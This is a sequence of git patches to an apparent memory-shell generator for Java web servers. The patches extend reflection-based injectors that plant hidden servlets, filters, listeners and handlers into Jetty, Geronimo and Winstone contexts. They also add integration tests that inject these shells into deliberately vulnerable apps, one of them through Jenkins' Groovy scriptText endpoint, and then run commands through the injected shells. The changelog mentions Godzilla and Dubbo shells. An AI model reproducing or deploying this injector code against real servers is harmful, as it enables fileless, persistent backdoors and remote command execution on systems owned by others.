integration-test/docker-compose/geronimo/docker-compose-221-jetty.yaml create mode 100644 integration-test/docker-compose/geronimo/docker-compose-221-tomcat.yaml create mode 100644 integration-test/docker-compose/jetty/docker-compose-7.1-jdk6.yaml create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/memshell/geronimo/Geronimo221Jetty7ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/memshell/geronimo/Geronimo221Tomcat6ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty71ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty71ContainerTest.java create mode 100644 vul/vul-webapp/src/main/webapp/WEB-INF/geronimo-web.xml diff --git a/.github/workflows/memshell-integration-test.yml b/.github/workflows/memshell-integration-test.yml index 12760959..cb42eabf 100644 --- a/.github/workflows/memshell-integration-test.yml +++ b/.github/workflows/memshell-integration-test.yml @@ -52,6 +52,8 @@ jobs: depend_tasks: ":vul:vul-struts2:war" - middleware: "jenkins" depend_tasks: "" + - middleware: "geronimo" + depend_tasks: ":vul:vul-webapp:war" runs-on: ubuntu-22.04 name: ${{ matrix.cases.middleware }} steps: diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java index 8bf4f874..e73a8a08 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java @@ -6,6 +6,7 @@ import java.io.PrintStream; import java.lang.reflect.*; import java.util.HashSet; +import java.util.Map; import java.util.Set; import java.util.zip.GZIPInputStream; @@ -130,7 +131,16 @@ public void inject(Object context, Object filter) throws Exception { } newMappings[0] = filterMapping; invokeMethod(servletHandler, "setFilterMappings", new Class[]{Array.newInstance(filterMappingClass, 0).getClass()}, new Object[]{newMappings}); - invokeMethod(servletHandler, "invalidateChainsCache"); + try { + invokeMethod(servletHandler, "invalidateChainsCache"); + } catch (NoSuchMethodException e) { + Map[] _chainCache = (Map[]) getFieldValue(servletHandler, "_chainCache"); + if (_chainCache != null) { + for (Map cache : _chainCache) { + if (cache != null) cache.clear(); + } + } + } } @Override @@ -176,29 +186,14 @@ public Set getContext() throws Exception { try { Object target = getFieldValue(thread, "target"); if (target != null && target.getClass().getName().contains("winstone.Launcher")) { - java.util.Map hostConfigs = (java.util.Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs"); - java.util.Iterator _it3 = hostConfigs.values().iterator(); - while (_it3.hasNext()) { - java.util.Map apps = (java.util.Map) getFieldValue(_it3.next(), "webapps"); + Map hostConfigs = (Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs"); + for (Object o : hostConfigs.values()) { + Map apps = (Map) getFieldValue(o, "webapps"); contexts.addAll(apps.values()); } } } catch (Throwable ignored) { } - - // Geronimo-Jetty - try { - java.util.Map map = (java.util.Map) getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "listener"), "kernel"), "registry"), "instanceRegistry"); - java.util.Iterator _it2 = map.keySet().iterator(); - while (_it2.hasNext()) { - Object object = _it2.next(); - if (object.getClass().getName().equals("org.apache.geronimo.jetty7.WebAppContextWrapper")) { - contexts.add(getFieldValue(object, "webAppContext")); - } - } - } catch (Throwable ignored) { - } - } return contexts; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerInjector.java index c0d44bdd..cfd84c6c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerInjector.java @@ -110,7 +110,8 @@ private Object getServer() throws Exception { if (entry != null) { Object threadLocalValue = getFieldValue(entry, "value"); if (threadLocalValue != null) { - if (threadLocalValue.getClass().getName().contains("HttpConnection")) { + if (threadLocalValue.getClass().getName().contains("HttpConnection") + || threadLocalValue.getClass().getName().contains("SelectChannelConnector")) { return invokeMethod(invokeMethod(threadLocalValue, "getConnector"), "getServer"); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java index 49694a14..8ccec10f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java @@ -8,10 +8,7 @@ import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; -import java.util.EventListener; -import java.util.HashSet; -import java.util.List; -import java.util.Set; +import java.util.*; import java.util.zip.GZIPInputStream; /** @@ -106,29 +103,14 @@ public Set getContext() throws Exception { try { Object target = getFieldValue(thread, "target"); if (target != null && target.getClass().getName().contains("winstone.Launcher")) { - java.util.Map hostConfigs = (java.util.Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs"); - java.util.Iterator _it3 = hostConfigs.values().iterator(); - while (_it3.hasNext()) { - java.util.Map apps = (java.util.Map) getFieldValue(_it3.next(), "webapps"); + Map hostConfigs = (Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs"); + for (Object o : hostConfigs.values()) { + Map apps = (Map) getFieldValue(o, "webapps"); contexts.addAll(apps.values()); } } } catch (Throwable ignored) { } - - // Geronimo-Jetty - try { - java.util.Map map = (java.util.Map) getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "listener"), "kernel"), "registry"), "instanceRegistry"); - java.util.Iterator _it2 = map.keySet().iterator(); - while (_it2.hasNext()) { - Object object = _it2.next(); - if (object.getClass().getName().equals("org.apache.geronimo.jetty7.WebAppContextWrapper")) { - contexts.add(getFieldValue(object, "webAppContext")); - } - } - } catch (Throwable ignored) { - } - } return contexts; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java index 72c657d3..b32de6f2 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java @@ -6,6 +6,7 @@ import java.io.PrintStream; import java.lang.reflect.*; import java.util.HashSet; +import java.util.Map; import java.util.Set; import java.util.zip.GZIPInputStream; @@ -114,29 +115,15 @@ public Set getContext() throws Exception { try { Object target = getFieldValue(thread, "target"); if (target != null && target.getClass().getName().contains("winstone.Launcher")) { - java.util.Map hostConfigs = (java.util.Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs"); - java.util.Iterator _it3 = hostConfigs.values().iterator(); - while (_it3.hasNext()) { - java.util.Map apps = (java.util.Map) getFieldValue(_it3.next(), "webapps"); + Map hostConfigs = (Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs"); + for (Object o : hostConfigs.values()) { + Map apps = (Map) getFieldValue(o, "webapps"); contexts.addAll(apps.values()); } } } catch (Throwable ignored) { } - // Geronimo-Jetty - try { - java.util.Map map = (java.util.Map) getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "listener"), "kernel"), "registry"), "instanceRegistry"); - java.util.Iterator _it2 = map.keySet().iterator(); - while (_it2.hasNext()) { - Object object = _it2.next(); - if (object.getClass().getName().equals("org.apache.geronimo.jetty7.WebAppContextWrapper")) { - contexts.add(getFieldValue(object, "webAppContext")); - } - } - } catch (Throwable ignored) { - } - } return contexts; } diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/JettyWriter.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/JettyWriter.java index f199c40b..8173c219 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/JettyWriter.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/JettyWriter.java @@ -33,7 +33,10 @@ public JettyWriter() { continue; } Object value = getFieldValue(entry, "value"); - if (value != null && value.getClass().getName().endsWith("HttpConnection")) { + if (value != null && ( + value.getClass().getName().endsWith("HttpConnection") + || value.getClass().getName().contains("SelectChannelConnector") + )) { Object response; Object request; try { diff --git a/integration-test/docker-compose/geronimo/docker-compose-221-jetty.yaml b/integration-test/docker-compose/geronimo/docker-compose-221-jetty.yaml new file mode 100644 index 00000000..07875766 --- /dev/null +++ b/integration-test/docker-compose/geronimo/docker-compose-221-jetty.yaml @@ -0,0 +1,10 @@ +services: + target: + image: reajason/geronimo:2.2.1-jetty7 + ports: + - "8080:8080" + - "5005:5005" + environment: + JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 + volumes: + - ../../../vul/vul-webapp/build/libs/vul-webapp.war:/opt/geronimo/deploy/app.war \ No newline at end of file diff --git a/integration-test/docker-compose/geronimo/docker-compose-221-tomcat.yaml b/integration-test/docker-compose/geronimo/docker-compose-221-tomcat.yaml new file mode 100644 index 00000000..2090e9f9 --- /dev/null +++ b/integration-test/docker-compose/geronimo/docker-compose-221-tomcat.yaml @@ -0,0 +1,7 @@ +services: + target: + image: reajason/geronimo:2.2.1-tomcat6 + ports: + - "8080:8080" + volumes: + - ../../../vul/vul-webapp/build/libs/vul-webapp.war:/opt/geronimo/deploy/app.war \ No newline at end of file diff --git a/integration-test/docker-compose/jetty/docker-compose-7.1-jdk6.yaml b/integration-test/docker-compose/jetty/docker-compose-7.1-jdk6.yaml new file mode 100644 index 00000000..a5b38b63 --- /dev/null +++ b/integration-test/docker-compose/jetty/docker-compose-7.1-jdk6.yaml @@ -0,0 +1,11 @@ +services: + jetty716: + image: reajason/jetty:7.1.6-jdk6 + ports: + - "8080:8080" + - "5005:5005" + environment: + JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 + volumes: + - ../../../asserts/agent/jattach-linux:/opt/jattach + - ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/jetty/webapps/app.war \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/geronimo/Geronimo221Jetty7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/geronimo/Geronimo221Jetty7ContainerTest.java new file mode 100644 index 00000000..110d74ad --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/geronimo/Geronimo221Jetty7ContainerTest.java @@ -0,0 +1,59 @@ +package com.reajason.javaweb.integration.memshell.geronimo; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ContainerTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import net.bytebuddy.jar.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.Network; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.List; + +/** + * @author ReaJason + * @since 2024/12/7 + */ +@Testcontainers +public class Geronimo221Jetty7ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig + .builder() + .server(Server.Jetty) + .imageName("reajason/geronimo:2.2.1-jetty7") + .warFile(ContainerTool.warFile) + .warDeployPath("/opt/geronimo/deploy/app.war") + .pidScript(ContainerTool.javaPid) + .serverVersion("7+") + .targetJdkVersion(Opcodes.V1_6) + .supportedShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER, + ShellType.JETTY_AGENT_HANDLER + )) + .testPackers(List.of(Packers.JSP)) + .probeShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER + )) + .build(); + + static Network network = newNetwork(); + @Container + public static final GenericContainer python = buildPythonContainer(network); + + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); + + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/geronimo/Geronimo221Tomcat6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/geronimo/Geronimo221Tomcat6ContainerTest.java new file mode 100644 index 00000000..df057620 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/geronimo/Geronimo221Tomcat6ContainerTest.java @@ -0,0 +1,68 @@ +package com.reajason.javaweb.integration.memshell.geronimo; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ContainerTool; +import com.reajason.javaweb.integration.ShellAssertion; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.Network; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.List; + +/** + * @author ReaJason + * @since 2024/12/4 + */ +@Testcontainers +public class Geronimo221Tomcat6ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig + .builder() + .server(Server.Tomcat) + .imageName("reajason/geronimo:2.2.1-tomcat6") + .warFile(ContainerTool.warFile) + .warDeployPath("/opt/geronimo/deploy/app.war") + .pidScript(ContainerTool.javaPid) + .targetJdkVersion(Opcodes.V1_6) + .supportedShellTypes(List.of( + ShellType.FILTER, + ShellType.SERVLET, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.PROXY_VALVE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE + )) + .testPackers(List.of(Packers.JSP, Packers.AgentJarWithJDKAttacher)) + .probeShellTypes(List.of( + ShellType.FILTER, + ShellType.SERVLET, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.PROXY_VALVE + )) + .build(); + + static Network network = newNetwork(); + @Container + public static final GenericContainer python = buildPythonContainer(network); + + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); + + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; + } + + @Test + void testListProcessAndAttachAll() { + ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer()); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty71ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty71ContainerTest.java new file mode 100644 index 00000000..87000848 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty71ContainerTest.java @@ -0,0 +1,53 @@ +package com.reajason.javaweb.integration.memshell.jetty; + +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import net.bytebuddy.jar.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.Network; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.List; + +/** + * @author ReaJason + * @since 2024/12/7 + */ +@Testcontainers +public class Jetty71ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig + .jetty("reajason/jetty:7.1.6-jdk6") + .warDeployPath("/usr/local/jetty/webapps/app.war") + .serverVersion("7+") + .targetJdkVersion(Opcodes.V1_6) + .supportedShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER, + ShellType.JETTY_AGENT_HANDLER + )) + .testPackers(List.of(Packers.JSP)) + .probeShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER + )) + .build(); + + static Network network = newNetwork(); + @Container + public static final GenericContainer python = buildPythonContainer(network); + + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); + + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty71ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty71ContainerTest.java new file mode 100644 index 00000000..33cc74f0 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty71ContainerTest.java @@ -0,0 +1,35 @@ +package com.reajason.javaweb.integration.probe.jetty; + +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +/** + * @author ReaJason + * @since 2024/12/7 + */ +@Testcontainers +public class Jetty71ContainerTest extends AbstractProbeContainerTest { + + private static final ProbeTestConfig CONFIG = ProbeTestConfig + .jettyOld("reajason/jetty:7.1.6-jdk6", "/usr/local/jetty/webapps/app.war") + .expectedJdkVersion("JDK|1.6.0_45|50") + .targetJdkVersion(Opcodes.V1_6) + .build(); + + @Container + public static final GenericContainer container = buildContainer(CONFIG); + + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; + } + + @Override + protected GenericContainer getContainer() { + return container; + } +} diff --git a/vul/vul-webapp/src/main/webapp/WEB-INF/geronimo-web.xml b/vul/vul-webapp/src/main/webapp/WEB-INF/geronimo-web.xml new file mode 100644 index 00000000..2e9d4fab --- /dev/null +++ b/vul/vul-webapp/src/main/webapp/WEB-INF/geronimo-web.xml @@ -0,0 +1,17 @@ + + + + + com.mycompany + app + 1.0 + war + + + org.apache.commons.fileupload + org.apache.commons.io + + + /app + From a3f0c140576c97e4fdb65295a757caf275fcd529 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sat, 13 Jun 2026 14:26:12 +0800 Subject: [PATCH 07/17] test: add jenkins probe cases --- .../JenkinsJetty12ee9ContainerTest.java | 61 ++++++++++++++++++- 1 file changed, 60 insertions(+), 1 deletion(-) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jenkins/JenkinsJetty12ee9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jenkins/JenkinsJetty12ee9ContainerTest.java index 7e996ef2..5da60a92 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jenkins/JenkinsJetty12ee9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jenkins/JenkinsJetty12ee9ContainerTest.java @@ -4,9 +4,13 @@ import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.integration.ShellAssertion; +import com.reajason.javaweb.memshell.MemShellGenerator; import com.reajason.javaweb.memshell.MemShellResult; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.config.CommandConfig; +import com.reajason.javaweb.memshell.config.InjectorConfig; +import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig; import com.reajason.javaweb.packer.Packers; import lombok.SneakyThrows; @@ -29,6 +33,9 @@ import java.util.Locale; import java.util.Map; +import static org.hamcrest.CoreMatchers.anyOf; +import static org.hamcrest.CoreMatchers.containsString; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertTrue; /** @@ -55,6 +62,12 @@ public class JenkinsJetty12ee9ContainerTest extends AbstractContainerTest { ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_HANDLER )) + .probeShellTypes(List.of( + ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_HANDLER + )) .testPackers(List.of(Packers.Groovy)) .unSupportedShellTools(List.of(ShellTool.AntSword)) .enableJspPackerTest(false) @@ -92,8 +105,53 @@ protected void runShellInject(ContainerTestConfig config, String shellType, Stri ShellAssertion.assertShellIsOk(generateResult, shellUrl, shellTool, shellType, getContainer(), getPythonContainer()); } + @Override + protected void runProbeInject(ContainerTestConfig config, String shellType) { + String url = getUrl(); + String shellTool = ShellTool.Command; + Packers packer = Packers.Groovy; + Pair urls = ShellAssertion.getUrls(url, shellType, shellTool, packer); + String shellUrl = urls.getLeft().replace("/test", "/scriptText"); + String urlPattern = urls.getRight(); + if (urlPattern != null) { + shellUrl += "testProbe"; + urlPattern += "testProbe"; + } + int probeTargetJdkVersion = config.getProbeTargetJdkVersion() == null + ? config.getTargetJdkVersion() + : config.getProbeTargetJdkVersion(); + ShellConfig shellConfig = ShellConfig.builder() + .server(config.getServer()) + .serverVersion(config.getServerVersion()) + .shellType(shellType) + .shellTool(shellTool) + .targetJreVersion(probeTargetJdkVersion) + .debug(false) + .probe(true) + .build(); + InjectorConfig injectorConfig = InjectorConfig.builder() + .urlPattern(urlPattern) + .staticInitialize(true) + .build(); + String paramName = "tomcatProbe" + shellType; + CommandConfig commandConfig = CommandConfig.builder() + .paramName(paramName) + .build(); + MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, commandConfig); + String payload = packer.getInstance().pack(generateResult.toClassPackerConfig()); + + String res = injectByScriptText(url, payload); + assertThat(res, anyOf( + containsString("context: "), + containsString("server: "), + containsString("channel: "), + containsString("namespace: ") + )); + ShellAssertion.commandIsOk(shellUrl, shellType, paramName, "id"); + } + @SneakyThrows - private void injectByScriptText(String url, String payload) { + private String injectByScriptText(String url, String payload) { RequestBody requestBody = new FormBody.Builder() .add("script", payload) .build(); @@ -106,6 +164,7 @@ private void injectByScriptText(String url, String payload) { String body = response.body().string(); assertTrue(response.isSuccessful(), "Jenkins scriptText should return 2xx, body: " + body); assertTrue(isScriptTextResponseOk(body), "Jenkins scriptText should not return a Groovy error, body: " + body); + return body; } } From 31a571c62cfde52385d07654c9043fcacd427e4f Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sat, 13 Jun 2026 15:02:33 +0800 Subject: [PATCH 08/17] docs: update CHANGELOG --- web/content/docs/changelog.mdx | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/web/content/docs/changelog.mdx b/web/content/docs/changelog.mdx index 531564c2..a9854a00 100644 --- a/web/content/docs/changelog.mdx +++ b/web/content/docs/changelog.mdx @@ -12,9 +12,13 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Added -1. 新增对 [Winstone-Jetty](https://github.com/jenkinsci/winstone)(Jenkins 2.491.1)和 [Geronimo-Jetty](https://github.com/apache/geronimo) 上下文采集注入(Thanks @su18) +1. 新增对 [Winstone-Jetty](https://github.com/jenkinsci/winstone)(Jenkins 2.491.1)和 [Geronimo-Jetty](https://github.com/apache/geronim)(Jetty 7.1) 上下文采集注入(Thanks @su18) 2. 新增 Godzilla DubboService 内存马注入,默认使用 XOR_BASE6(仅支持特战版,Thanks @ReaJason) +### Fixed + +1. 修复 Jetty 7.1.6 回显马找不到 request/response 导致回显失败 + ### Changed 1. boot 使用 SpringBoot 4.1.0 版本 + Dockerfile 中默认 jre25 From 52004a2e1397791152eb4063a01084912e5c6fb3 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sat, 27 Jun 2026 14:54:08 +0800 Subject: [PATCH 09/17] test: add dubbo integration-test --- .../workflows/memshell-integration-test.yml | 10 +- integration-test/build.gradle.kts | 62 ++++- .../dubbo/AlibabaDubbo2612ContainerTest.java | 36 +++ .../dubbo/ApacheDubbo27xContainerTest.java | 84 ++++++ .../dubbo/ApacheDubbo336ContainerTest.java | 37 +++ .../memshell/dubbo/DubboClientRunner.java | 130 +++++++++ .../memshell/dubbo/DubboContainerFactory.java | 56 ++++ .../memshell/dubbo/DubboProtocolTarget.java | 27 ++ .../memshell/dubbo/DubboProviderScenario.java | 66 +++++ .../memshell/dubbo/DubboServiceAssertion.java | 64 +++++ .../memshell/dubbo/DubboUrlResolver.java | 72 +++++ .../memshell/dubbo/DubboUrlResolverTest.java | 34 +++ settings.gradle.kts | 3 +- tools/command/build.gradle.kts | 96 +++++++ .../client/alibaba/AlibabaDubboClient.java | 101 +++++++ .../client/apache/ApacheDubboClient.java | 83 ++++++ .../fixture/api/BytecodeLoadingService.java | 5 + .../fixture/client/ClientRuntimeSupport.java | 29 +++ vul/vul-dubbo/build.gradle.kts | 240 +++++++++++++++++ .../alibaba/AlibabaDubbo2Provider.java | 65 +++++ .../apache2/ApacheDubbo2723Provider.java | 7 + .../apache2/ApacheDubbo276Provider.java | 7 + .../apache2/ApacheDubbo277Provider.java | 7 + .../apache2/ApacheDubbo278Provider.java | 7 + .../apache3/ApacheDubbo336Provider.java | 65 +++++ .../fixture/apache2/ApacheDubbo2Provider.java | 71 +++++ .../fixture/api/BytecodeLoadingService.java | 5 + .../dubbo/fixture/api/DemoService.java | 5 + .../common/BytecodeLoadingServiceImpl.java | 11 + .../common/BytecodeLoadingSupport.java | 246 ++++++++++++++++++ .../dubbo/fixture/common/DemoServiceImpl.java | 17 ++ .../common/LoadBytesExportContext.java | 31 +++ .../reajason/dubbo/fixture/common/Noop.java | 6 + 33 files changed, 1780 insertions(+), 5 deletions(-) create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/AlibabaDubbo2612ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/ApacheDubbo27xContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/ApacheDubbo336ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboClientRunner.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboContainerFactory.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboProtocolTarget.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboProviderScenario.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboServiceAssertion.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboUrlResolver.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/memshell/dubbo/DubboUrlResolverTest.java create mode 100644 tools/command/build.gradle.kts create mode 100644 tools/command/src/dubboClientAlibaba/java/io/github/reajason/dubbo/fixture/client/alibaba/AlibabaDubboClient.java create mode 100644 tools/command/src/dubboClientApache/java/io/github/reajason/dubbo/fixture/client/apache/ApacheDubboClient.java create mode 100644 tools/command/src/dubboClientCommon/java/io/github/reajason/dubbo/fixture/api/BytecodeLoadingService.java create mode 100644 tools/command/src/dubboClientCommon/java/io/github/reajason/dubbo/fixture/client/ClientRuntimeSupport.java create mode 100644 vul/vul-dubbo/build.gradle.kts create mode 100644 vul/vul-dubbo/src/dubboProviderAlibaba/java/io/github/reajason/dubbo/fixture/alibaba/AlibabaDubbo2Provider.java create mode 100644 vul/vul-dubbo/src/dubboProviderApache2723/java/io/github/reajason/dubbo/fixture/apache2/ApacheDubbo2723Provider.java create mode 100644 vul/vul-dubbo/src/dubboProviderApache276/java/io/github/reajason/dubbo/fixture/apache2/ApacheDubbo276Provider.java create mode 100644 vul/vul-dubbo/src/dubboProviderApache277/java/io/github/reajason/dubbo/fixture/apache2/ApacheDubbo277Provider.java create mode 100644 vul/vul-dubbo/src/dubboProviderApache278/java/io/github/reajason/dubbo/fixture/apache2/ApacheDubbo278Provider.java create mode 100644 vul/vul-dubbo/src/dubboProviderApache336/java/io/github/reajason/dubbo/fixture/apache3/ApacheDubbo336Provider.java create mode 100644 vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/apache2/ApacheDubbo2Provider.java create mode 100644 vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/api/BytecodeLoadingService.java create mode 100644 vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/api/DemoService.java create mode 100644 vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/common/BytecodeLoadingServiceImpl.java create mode 100644 vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/common/BytecodeLoadingSupport.java create mode 100644 vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/common/DemoServiceImpl.java create mode 100644 vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/common/LoadBytesExportContext.java create mode 100644 vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/common/Noop.java diff --git a/.github/workflows/memshell-integration-test.yml b/.github/workflows/memshell-integration-test.yml index cb42eabf..97482748 100644 --- a/.github/workflows/memshell-integration-test.yml +++ b/.github/workflows/memshell-integration-test.yml @@ -9,6 +9,7 @@ on: - './github/workflows/memshell-integration-test.yml' - '**/memshell/**' - '**/packer/**' + - '**/dubbo/**' concurrency: group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }} @@ -54,6 +55,8 @@ jobs: depend_tasks: "" - middleware: "geronimo" depend_tasks: ":vul:vul-webapp:war" + - middleware: "dubbo" + depend_tasks: ":vul:vul-dubbo:dubboProviderFatJars :tools:command:dubboClientClasspath" runs-on: ubuntu-22.04 name: ${{ matrix.cases.middleware 